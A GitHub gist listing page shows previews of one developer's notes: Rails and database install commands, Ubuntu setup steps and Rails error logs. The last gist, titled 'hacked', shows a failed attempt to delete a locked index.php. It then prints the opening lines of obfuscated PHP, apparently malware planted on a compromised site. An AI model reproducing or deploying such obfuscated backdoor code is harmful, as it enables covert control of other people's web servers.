3h5a9’s gists

3h5a9 / rip

Created August 29, 2021 06:40

rails installation process with warning

	nginit@smehsan:~/wip/rails$ rails new myapp -d postgresql
	create
	create README.md
	create Rakefile
	create .ruby-version
	create config.ru
	create .gitignore
	create .gitattributes
	create Gemfile
	run git init from "."

3h5a9 / elos-pgsql.txt

Last active August 27, 2021 08:40

Install PostgreSQL latest version on Elementary OS

	Install
	------------------
	sudo apt-get install curl ca-certificates gnupg && curl https://www.postgresql.org/media/keys/ACCC4CF8.asc \| sudo apt-key add -

	sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt/ bionic-pgdg main" > /etc/apt/sources.list.d/pgdg.list'

	sudo apt update && sudo apt-get install postgresql-12


	Create a new user

3h5a9 / ubuntu.txt

Last active September 3, 2021 17:49

Necessary things to do in newly installed Ubuntu (20.04)

	/******************************
	Update and Upgrade Ubuntu
	******************************/
	sudo apt update && sudo apt upgrade -y


	/******************************
	Necessarry Ubuntu Tools
	******************************/
	1] Tweak-Tool [sudo apt install gnome-tweak-tool]

3h5a9 / mysqlshortcut.txt

Last active October 8, 2020 14:08

Mysql Showrtcut for Linux (Ubuntu)

	mysql -u root -p //enter into mysql as root user

	SHOW DATABASES; //Show available databases

	DROP DATABASE database_name; //Delete a mysql database

	sudo /etc/init.d/mysql.server start //start mysql server

	sudo /etc/init.d/mysql.server stop //Stop mysql server

3h5a9 / MySql-5.5-installation guide.md

Created September 28, 2020 21:18 — forked from ahmadhasankhan/MySql-5.5-installation guide.md

Install MySQL 5.5.xx on Ubuntu

MySQL Download URL

https://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.56-linux-glibc2.5-x86_64.tar.gz

sudo rm /var/lib/mysql/ -R

3h5a9 / comments_controller.rb

Created May 4, 2020 08:55

Nested Comment wrong redirection.

	class CommentsController < ApplicationController
	before_action :find_commentable, only: %i[new create destroy]

	def new
	@comment = Comment.new
	end

	def create
	@comment = @commentable.comments.new(comment_params)
	if @comment.save

3h5a9 / error

Last active August 23, 2019 21:30

Ruby on rails execjs runtime error!

	00:31 bundler:install
	The Gemfile's dependencies are satisfied, skipping installation
	00:32 deploy:assets:precompile
	01 $HOME/.rbenv/bin/rbenv exec bundle exec rake assets:precompile
	01 yarn install v1.15.2
	01 [1/4] Resolving packages...
	01 [2/4] Fetching packages...
	01 [3/4] Linking dependencies...
	01 [4/4] Building fresh packages...
	01 success Saved lockfile.

3h5a9 / errors

Created August 8, 2019 15:27

	```
	ActionController::RoutingError (No route matches [GET] "/assets/typed.min.js.map"):

	actionpack (5.2.3) lib/action_dispatch/middleware/debug_exceptions.rb:65:in `call'
	web-console (3.7.0) lib/web_console/middleware.rb:135:in `call_app'
	web-console (3.7.0) lib/web_console/middleware.rb:30:in `block in call'
	web-console (3.7.0) lib/web_console/middleware.rb:20:in `catch'
	web-console (3.7.0) lib/web_console/middleware.rb:20:in `call'
	actionpack (5.2.3) lib/action_dispatch/middleware/show_exceptions.rb:33:in `call'
	railties (5.2.3) lib/rails/rack/logger.rb:38:in `call_app'

3h5a9 / rfs.scss

Created August 4, 2019 19:59

Bootstrap responsive font size scss

3h5a9 / index.php

Created July 26, 2019 12:34

hacked

	rm -f index.php ; touch index.php; chmod 600 index.php ; ls -l index.php ; cat index.php
	rm: cannot remove 'index.php': Permission denied
	touch: cannot touch 'index.php': Permission denied
	chmod: changing permissions of 'index.php': Operation not permitted
	-r--r--r-- 1 www-data www-data 115811 Jun 21 2018 index.php
	<?php
	$OO0_0O_0O_='BEGINJ6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
	$O_O0_O0_0O='benzylpenicillin455989';
	$O0_O00O__O=407;
	$OOO_O_00_0='E/B/D_C/F';

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